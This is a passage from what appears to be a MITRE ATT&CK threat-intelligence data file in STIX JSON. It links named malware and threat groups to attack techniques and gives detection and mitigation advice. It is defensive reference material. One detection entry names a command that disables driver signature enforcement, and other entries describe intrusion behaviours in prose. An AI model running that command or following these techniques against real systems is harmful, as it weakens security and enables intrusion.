2022)","relationship_type":"uses","source_ref":"malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--794403a3-232e-4cc3-85e2-cc997825dfa8","type":"relationship","created":"2020-11-19T17:03:37.989Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Bazar July 2020","url":"https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles","description":"Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9’S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}],"modified":"2020-11-19T17:03:37.989Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can query the Registry for installed applications.(Citation: Cybereason Bazar July 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7944bf15-8e56-4624-8776-bc9fc5aee249","created":"2021-01-22T21:28:55.390Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.422Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used net start and net use for system service discovery.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79460858-f878-417f-bc10-b4c962128df4","type":"relationship","created":"2021-10-01T17:13:49.087Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 KerrDown February 2019","url":"https://unit42.paloaltonetworks.com/tracking-oceanlotus-new-downloader-kerrdown/","description":"Ray, V. and Hayashi, K. (2019, February 1). Tracking OceanLotus’ new Downloader, KerrDown. Retrieved October 1, 2021."}],"modified":"2021-10-01T17:24:01.874Z","description":"[Kerrdown](https://attack.mitre.org/software/S0585) can use DLL side-loading to load malicious DLLs.(Citation: Unit 42 KerrDown February 2019)","relationship_type":"uses","source_ref":"malware--8c1d01ff-fdc0-4586-99bd-c248e0761af5","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--794a94a5-53ee-46af-9510-527f651d2ace","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Monitor processes and command-line arguments for actions that could be taken to modify the code signing policy of a system, such as bcdedit.exe -set TESTSIGNING ON. (Citation: Microsoft TESTSIGNING Feb 2021)","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--565275d5-fcc3-4b66-b4e7-928e4cac6b8c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft TESTSIGNING Feb 2021","description":"Microsoft. (2021, February 15). Enable Loading of Test Signed Drivers. Retrieved April 22, 2021.","url":"https://docs.microsoft.com/en-us/windows-hardware/drivers/install/the-testsigning-boot-configuration-option"}]},{"type":"relationship","id":"relationship--794caee4-34cd-493f-a047-1f4a8b4c8de8","created":"2022-01-11T14:58:01.944Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevailion DarkWatchman 2021","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.","url":"https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:28:39.926Z","description":"[DarkWatchman](https://attack.mitre.org/software/S0673) can query the Registry to determine if it has already been installed on the system.(Citation: Prevailion DarkWatchman 2021)","relationship_type":"uses","source_ref":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--795393ba-738c-467b-abc9-f37b1511a1fa","created":"2024-02-14T21:00:00.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:32:34.948Z","description":"Monitor network traffic content for resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.\n\nNote: Destination Host Name is not a comprehensive list of potential cryptocurrency URLs. This analytic has a hardcoded domain name which may change. \n","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7953c8bf-2e44-45e9-90f5-4db5da4ad8c2","created":"2022-09-22T20:15:26.807Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T20:15:26.807Z","description":"[Crimson](https://attack.mitre.org/software/S0115) can exfiltrate stolen information over its C2.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79550ebe-890d-4f3e-b494-d65b88215803","created":"2023-08-07T14:23:30.128Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T19:19:10.182Z","description":"Monitor authentication logs and analyze for unusual access patterns. A remote desktop logon, through RDP, may be typical of a system administrator or IT support, but only from select workstations. Monitoring remote desktop logons and comparing to known/approved originating systems can detect lateral movement of an adversary.\n\nAnalytic 1\n\nsourcetype=\"WinEventLog:Security\" EventCode=\"4624\" AND LogonType=\"10\" AND AuthenticationPackageName=\"Negotiate\" AND TargetUserName=\"Admin*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--795b9ebc-6bf1-47f9-b236-117c2216c5d4","created":"2020-05-05T20:54:53.144Z","x_mitre_version":"1.0","external_references":[{"source_name":"TrendMicro BlackTech June 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/","description":"Bermejo, L., et al. (2017, June 22). Following the Trail of BlackTech’s Cyber Espionage Campaigns. Retrieved May 5, 2020."},{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used spearphishing e-mails with malicious password-protected archived files (ZIP or RAR) to deliver malware.(Citation: TrendMicro BlackTech June 2017)(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-06T13:31:57.008Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--795ca238-c8cf-4735-98cc-593f1cc59b16","type":"relationship","created":"2019-07-18T17:50:43.801Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-13T17:39:09.095Z","description":"Limit the accounts that may use remote services. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7961b5e5-0404-4aa6-9f0d-e3f5c9b7356a","created":"2022-03-30T14:26:51.841Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for changes made in cloud environments for events that indicate storage objects have been anomalously modified.","modified":"2022-04-14T15:32:39.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--45977f14-1bcc-4ec4-ac14-a30fd3a11f44","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7962fea5-a94d-4bb3-b951-fb8726bc4f67","type":"relationship","created":"2021-03-12T16:30:52.458Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."}],"modified":"2021-03-12T16:30:52.458Z","description":"[GoldMax](https://attack.mitre.org/software/S0588) has RSA-encrypted its communication with the C2 server.(Citation: MSTIC NOBELIUM Mar 2021)","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79633fcf-d22a-40f0-a9be-52fc0608825f","created":"2020-08-27T21:22:39.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.573Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has encoded PowerShell commands.(Citation: Cycraft Chimera April 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7965d9c8-82db-4fde-a017-27e4de931546","created":"2024-03-04T18:59:41.952Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-29T15:00:42.640Z","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) can use AES-128-CBC to encrypt data for both upload and download.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--796be792-45ef-4052-bcee-1ce1384a80f7","created":"2022-03-24T19:30:57.179Z","x_mitre_version":"1.0","external_references":[{"source_name":"dhcp_serv_op_events","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)","description":"Microsoft. (2006, August 31). DHCP Server Operational Events. Retrieved March 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Network intrusion detection and prevention systems that can identify traffic patterns indicative of AiTM activity can be used to mitigate activity at the network level.(Citation: dhcp_serv_op_events)","modified":"2022-04-18T16:54:50.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--796ea220-2948-461b-9948-4290eec8dbf6","type":"relationship","created":"2020-01-24T17:00:00.069Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","source_name":"Beechey 2010"},{"url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","source_name":"Windows Commands JPCERT"},{"url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","source_name":"NSA MS AppLocker"}],"modified":"2021-08-23T20:25:22.097Z","description":"Identify and block potentially malicious software that may be executed through the Winlogon helper process by using application control (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--796f38d7-b756-43e5-bb81-86169c533ec1","created":"2022-08-09T16:55:09.129Z","x_mitre_version":"0.1","external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has used HTTP POST requests for C2 communications.(Citation: ZScaler Squirrelwaffle Sep 2021)","modified":"2022-08-26T21:14:49.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--797131cf-fef9-4ece-823f-e931393e72f8","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.855Z","description":"Some [Reaver](https://attack.mitre.org/software/S0172) variants use HTTP for C2.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7976b353-f509-440f-a620-72116e06c30a","created":"2022-03-10T20:37:03.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T18:48:55.252Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can stop its execution when it recognizes the presence of certain monitoring tools.(Citation: Unit 42 WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--797a925e-7fe8-4d88-a372-88160f24b111","type":"relationship","created":"2021-01-25T17:27:10.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-01-25T17:27:10.850Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) used Rundll32 to execute payloads.(Citation: Microsoft Deep Dive Solorigate January 2021) ","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79826a7e-d9dd-4c4f-bc1f-e5f2d4c6465b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf","description":"Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.","source_name":"Lookout Dark Caracal Jan 2018"}],"modified":"2019-07-16T15:35:20.860Z","description":"[Dark Caracal](https://attack.mitre.org/groups/G0070) collected file listings of all default Windows directories.(Citation: Lookout Dark Caracal Jan 2018)","relationship_type":"uses","source_ref":"intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79852ad8-86ff-4747-97c0-1c7faa5fa69d","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Kazuar May 2017","description":"Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"}],"modified":"2019-04-24T15:26:03.699Z","description":"[Kazuar](https://attack.mitre.org/software/S0265) captures images from the webcam.(Citation: Unit 42 Kazuar May 2017)","relationship_type":"uses","source_ref":"malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2","target_ref":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7985b09e-9241-489c-a0f2-45a6f5c782f1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-17T02:11:01.356Z","description":"[pngdowner](https://attack.mitre.org/software/S0067) deletes content from C2 communications that was saved to the user's temporary directory.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--800bdfba-6d66-480f-9f45-15845c05cb5d","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--798a3e14-1c98-4bac-af2d-137367f78912","created":"2021-05-24T15:06:11.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry CostaRicto November 2020","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:25:30.998Z","description":"[PS1](https://attack.mitre.org/software/S0613) is distributed as a set of encrypted files and scripts.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--13183cdf-280b-46be-913a-5c6df47831e7","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--79904c38-8fb6-45e3-98f7-98856e08421f","created":"2020-03-29T22:28:32.733Z","x_mitre_version":"1.0","external_references":[{"source_name":"Novetta Blockbuster Destructive Malware","url":"https://web.archive.org/web/20160303200515/https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) replaced the background wallpaper of systems with a threatening image after rendering the system unbootable with a [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002).(Citation: Novetta Blockbuster Destructive Malware)","modified":"2022-07-28T18:55:36.009Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79934567-99e6-4184-8b04-717a1b401006","type":"relationship","created":"2017-05-31T21:33:27.064Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","source_name":"Scarlet Mimic Jan 2016"}],"modified":"2019-04-22T15:06:12.697Z","description":"(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7","target_ref":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--79958036-a8bf-4808-af4f-f9f7a9cb6e7c","created":"2019-09-23T22:53:30.129Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 